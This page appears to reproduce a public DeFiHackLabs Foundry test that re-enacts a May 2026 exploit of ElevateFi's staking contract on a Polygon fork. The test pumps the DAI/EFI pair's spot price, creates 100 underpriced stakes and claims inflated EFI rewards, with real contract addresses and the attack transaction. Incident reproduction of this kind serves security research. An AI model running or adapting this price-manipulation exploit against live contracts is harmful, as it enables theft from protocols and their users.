Public reproduction file
src/test/2026-05/ElevateFi_exp.sol
Public reproduction file for dataset entry ElevateFi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~16,000 USD8// Attacker : 0x7abd3f84e28f49f8f3d64fa21981fa36e4fb37f09// Attack Contract / Execution Address : 0x7abd3f84e28f49f8f3d64fa21981fa36e4fb37f010// EIP-7702 Authorized Code : 0x0511889ef593412386a889a3b7e3327cbc81f19e11// Vulnerable Contract : 0xcddc83a34fc9a7b9e6b1df7c14b585cf7328317412// Victim : 0x816ec92012e61269dcfe72188fe6d2352defce7413// Attack Tx : https://polygonscan.com/tx/0x2bd7213a764dd93d18dedeca7f4e0cf5c3cdce1739d79b53e41b72ec9efed87e15// @Info16// Vulnerable Contract Code : https://polygonscan.com/address/0xcddc83a34fc9a7b9e6b1df7c14b585cf73283174#code18// @Analysis19// Telegram : https://t.me/defimon_alerts/304020//21// ElevateFi priced fixed-USD staking packages from the raw DAI/EFI pair reserves. This PoC funds the attacker22// with DAI to isolate the victim bug, pumps the pair spot price, creates 100 underpriced package-7 stakes, then23// advances one epoch and claims EFI from the staking vault. The real tx sourced the DAI through nested flash loans24// and executed from the attacker EOA through EIP-7702 authorized code.26address constant ATTACKER = 0x7abD3f84E28f49f8F3d64Fa21981fA36E4Fb37f0;27address constant ELEVATE_STAKING_PROXY = 0x816EC92012e61269dcFe72188fe6d2352dEFCe74;28address constant EFI = 0xae840dEab9916d80FADF42E218119a6051468169;29address constant DAI = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;30address constant DAI_EFI_PAIR = 0xAec86dc2a08CD7cF8d90eE71d0E4864F25BA497B;32interface IElevateStaking {33 function rebase() external;34 function stakeEFI(35 uint8 packageId36 ) external;37 function viewStakeRewards(38 address user39 ) external view returns (uint256 totalUsd);40 function claimStakeRewards(41 uint256 usdAmount42 ) external returns (uint256 paidEfi, uint256 burnedEfi);43}45contract ContractTest is BaseTestWithBalanceLog {46 function setUp() public {47 uint256 forkBlock = 87_132_216;48 vm.createSelectFork("polygon", forkBlock);49 vm.roll(87_132_217);50 vm.warp(1_779_221_088);52 fundingToken = EFI;53 attacker = ATTACKER;55 vm.label(ATTACKER, "Attacker EOA");56 vm.label(ELEVATE_STAKING_PROXY, "ElevateFi staking proxy");57 vm.label(EFI, "EFI");58 vm.label(DAI, "DAI");59 vm.label(DAI_EFI_PAIR, "DAI/EFI pair");60 }62 function testExploit() public balanceLog {63 uint256 efiBefore = IERC20(EFI).balanceOf(ATTACKER);65 // The real tx got this buying power from nested DAI flash loans. Here it is setup capital so the PoC66 // focuses on ElevateFi's vulnerable reserve-price dependency.67 uint256 daiSeed = 1_360_000 ether;68 deal(DAI, ATTACKER, daiSeed);70 vm.startPrank(ATTACKER, ATTACKER);72 // step 1: pump the DAI/EFI pair spot price used by ElevateFi's getPriceUSD().73 buyEfiWithAllDai();75 // step 2: create the same package-7 stakes while the reserve-derived EFI price is inflated.76 uint256 stakeCount = 100;77 for (uint256 i = 0; i < stakeCount; ++i) {78 IElevateStaking(ELEVATE_STAKING_PROXY).stakeEFI(7);79 }81 // step 3: unwind the local price manipulation before claiming rewards.82 sellRemainingEfi();84 vm.stopPrank();86 uint256 vaultBeforeClaim = IERC20(EFI).balanceOf(ELEVATE_STAKING_PROXY);88 // step 4: advance to the observed claim block and claim one epoch of inflated staking rewards.89 vm.roll(87_132_251);90 vm.warp(1_779_221_148);91 vm.startPrank(ATTACKER, ATTACKER);92 IElevateStaking(ELEVATE_STAKING_PROXY).rebase();93 uint256 rewards = IElevateStaking(ELEVATE_STAKING_PROXY).viewStakeRewards(ATTACKER);94 IElevateStaking(ELEVATE_STAKING_PROXY).claimStakeRewards(rewards);95 vm.stopPrank();97 uint256 efiProfit = IERC20(EFI).balanceOf(ATTACKER) - efiBefore;98 uint256 vaultEfiLoss = vaultBeforeClaim - IERC20(EFI).balanceOf(ELEVATE_STAKING_PROXY);100 assertGt(efiProfit, 6200 ether, "EFI reward profit");101 assertEq(vaultEfiLoss, efiProfit, "staking vault paid attacker");102 }104 function buyEfiWithAllDai() private {105 IUniswapV2Pair pair = IUniswapV2Pair(DAI_EFI_PAIR);106 uint256 daiIn = IERC20(DAI).balanceOf(ATTACKER);108 IERC20(DAI).transfer(DAI_EFI_PAIR, daiIn);109 (uint256 reserveDai, uint256 reserveEfi) = daiEfiReserves(pair);110 uint256 efiOut = getAmountOut(daiIn, reserveDai, reserveEfi);111 pair.swap(0, efiOut, ATTACKER, "");112 }114 function sellRemainingEfi() private {115 IUniswapV2Pair pair = IUniswapV2Pair(DAI_EFI_PAIR);116 uint256 pairEfiBefore = IERC20(EFI).balanceOf(DAI_EFI_PAIR);118 IERC20(EFI).transfer(DAI_EFI_PAIR, IERC20(EFI).balanceOf(ATTACKER));119 uint256 netEfiIn = IERC20(EFI).balanceOf(DAI_EFI_PAIR) - pairEfiBefore;120 (uint256 reserveDai, uint256 reserveEfi) = daiEfiReserves(pair);121 uint256 daiOut = getAmountOut(netEfiIn, reserveEfi, reserveDai);122 pair.swap(daiOut, 0, ATTACKER, "");123 }125 function daiEfiReserves(126 IUniswapV2Pair pair127 ) private view returns (uint256 reserveDai, uint256 reserveEfi) {128 (uint112 reserve0, uint112 reserve1,) = pair.getReserves();129 if (pair.token0() == DAI) {130 return (uint256(reserve0), uint256(reserve1));131 }132 return (uint256(reserve1), uint256(reserve0));133 }135 function getAmountOut(136 uint256 amountIn,137 uint256 reserveIn,138 uint256 reserveOut139 ) private pure returns (uint256) {140 uint256 amountInWithFee = amountIn * 997;141 return (amountInWithFee * reserveOut) / ((reserveIn * 1000) + amountInWithFee);142 }143}Analysis
Dataset entry
Public Foundry test for “ElevateFi” (2026-05-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7abd3f84e28f49f8f3d64fa21981fa36e4fb37f0
- Attack Contract
0x7abd3f84e28f49f8f3d64fa21981fa36e4fb37f0
- Vulnerable Contract
0xcddc83a34fc9a7b9e6b1df7c14b585cf73283174
- Victim
0x816ec92012e61269dcfe72188fe6d2352defce74
- Attack Tx
0x2bd7213a764dd93d18dedeca7f4e0cf5c3cdce1739d79b53e41b72ec9efed87e
File record
- Name
- ElevateFi
- Path
- src/test/2026-05/ElevateFi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 577a7233b8da47466f5c4fe752754a4bf104ebb8
- Language
- Solidity
- Size
- 144 lines
- Date
- 2026-05-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/ElevateFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 577a7233b8da47466f5c4fe752754a4bf104ebb8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.